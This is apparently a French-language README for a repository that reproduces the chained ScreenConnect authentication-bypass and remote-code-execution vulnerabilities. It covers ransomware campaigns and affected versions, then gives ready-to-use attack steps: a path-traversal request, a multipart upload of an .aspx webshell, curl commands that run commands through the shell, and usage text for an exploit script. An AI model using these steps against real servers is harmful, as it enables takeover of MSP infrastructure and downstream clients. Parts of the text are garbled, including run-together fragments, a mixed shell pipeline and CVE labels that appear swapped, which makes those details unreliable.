Reproduction de cve-2024-1708-connectwise_rce_reproduction
Score CVSS : 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE : CWE-22 (Traversée de chemin), CWE-288 (Contournement d'authentification via un chemin alternatif)
Logiciel affecté : ConnectWise ScreenConnect (anciennement ScreenConnect) ≤ 23.9.7
Découvert et signalé : Février 2024
Exploité dans la nature : LockBit, Black Basta, Bl00dy et autres affiliés de rançongiciels
CVE-2024-1708 et CVE-2024-1709 sont une paire de vulnérabilités enchaînées dans ConnectWise ScreenConnect (anciennement ConnectWise Control) qui, ensemble, permettent à un attaquant distant non authentifié d'obtenir une exécution de code à distance complète sur le serveur ScreenConnect.
CVE-2024-1708 — Contournement d'authentification par traversée de chemin. Le point de terminaison SetupWizard.aspx (et les points de terminaison d'installation/mise à niveau associés) ne nettoie pas correctement les séquences de traversée de chemin fournies par l'utilisateur (../). Un attaquant non authentifié peut traverser en dehors du répertoire d'installation prévu et atteindre des points de terminaison qui devraient exiger une authentification. Parce que l'assistant s'exécute dans le contexte du compte SYSTEM (Windows) ou root (Linux), l'attaquant hérite de privilèges élevés.
CVE-2024-1709 — Téléchargement de fichier sans restriction menant à une RCE. Une fois le contournement d'authentification effectué, un attaquant peut télécharger un fichier .aspx arbitraire ou tout autre fichier exécutable dans la racine web. En demandant ensuite le fichier téléchargé, du code arbitraire s'exécute sur le serveur.
Ces vulnérabilités ont été exploitées massivement à partir du 19 février 2024 par plusieurs groupes de rançongiciels :
| Groupe de rançongiciels | Notes sur la campagne |
|---|---|
| LockBit | Scan large des instances ScreenConnect ; utilisé pour déployer le chiffreur LockBit en aval. |
| Black Basta | A exploité l'accès aux MSP pour pivoter dans les réseaux clients gérés. |
| Bl00dy | Campagnes à plus petite échelle ciblant des serveurs ScreenConnect non patchés. |
Parce que ScreenConnect est couramment déployé par les fournisseurs de services gérés (MSP) pour gérer à distance des centaines de terminaux clients en aval, un seul serveur ScreenConnect compromis permet une attaque par chaîne d'approvisionnement — chaque client avec un agent connecté à ce serveur ScreenConnect est à risque.
Le serveur ScreenConnect expose un assistant d'installation à l'adresse :
/SetupWizard.aspx/
Dans certains états de mise à niveau/réparation, le serveur n'applique pas l'authentification car il suppose que l'assistant d'installation est l'expérience de première exécution. Le défaut critique réside dans la manière dont le serveur traite le cookie __Session ou les en-têtes Transfer-Encoding / Content-Type lors de l'accès aux chemins sous l'espace de noms de l'assistant.
En envoyant une requête à :
/SetupWizard.aspx/../../ScreenConnect/Login.aspx
la traversée de chemin annule le contexte « assistant d'installation », tandis que le serveur croit toujours que le contexte de session non authentifiée s'applique. L'attaquant est redirigé ou reçoit des pages comme s'il était authentifié.
Vecteur alternatif : les gestionnaires PrepareUpgrade.aspx / PostUpgrade.aspx manquent également de contrôles d'authentification et exposent des fonctionnalités de téléchargement de fichiers.
Une fois que l'attaquant atteint un point de terminaison authentifié (ou frappe directement le gestionnaire de téléchargement de fichiers dans le contexte de l'installation), il peut télécharger un webshell .aspx malveillant :
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %>...
------BOUNDARY--
Le fichier est écrit dans le répertoire de l'application web (par exemple, C:\Program Files\ScreenConnect\Website\). Demander le shell téléchargé l'exécute sous l'identité du serveur.
SetupWizard.aspx suppose que toute requête sous sa route fait partie du processus d'installation et doit contourner l'authentification — mais la traversée de chemin brise cette hypothèse.../ ou de la traversée des liens symboliques.| Plage de versions | Statut |
|---|---|
| 23.9.7 et versions antérieures | Vulnérable |
| 23.9.8 | Corrigé (publié le 20 février 2024) |
| 23.9.9 | Corrigé |
| 23.9.10 (dernière) | Corrigé |
Remarque : Les serveurs ScreenConnect auto-hébergés (sur site) sont les principales cibles. Les instances ScreenConnect hébergées par ConnectWise (cloud) ont été corrigées avant la divulgation publique et n'ont jamais été vulnérables.
C:\Program Files\ScreenConnect\/opt/screenconnect/# Vérifier la version
curl -s http://<cible>:8040/ | Select-String "ScreenConnect"
Ou accédez à l'interface web et notez le numéro de version dans le code source de la page.
curl -v --path-as-is "http://<cible>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"
Comportement attendu sur un serveur vulnérable :
curl -X POST "http://<cible>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
-H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
-F "[email protected]"
curl "http://<cible>:8040/shell.aspx?cmd=whoami"
Le script exploit.py ci-joint automatise les étapes ci-dessus :
usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]
Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target hostname or IP
-p PORT, --port PORT Target port (default: 8040)
-c COMMAND, --command COMMAND
Command to execute (default: whoami)
--ssl Use HTTPS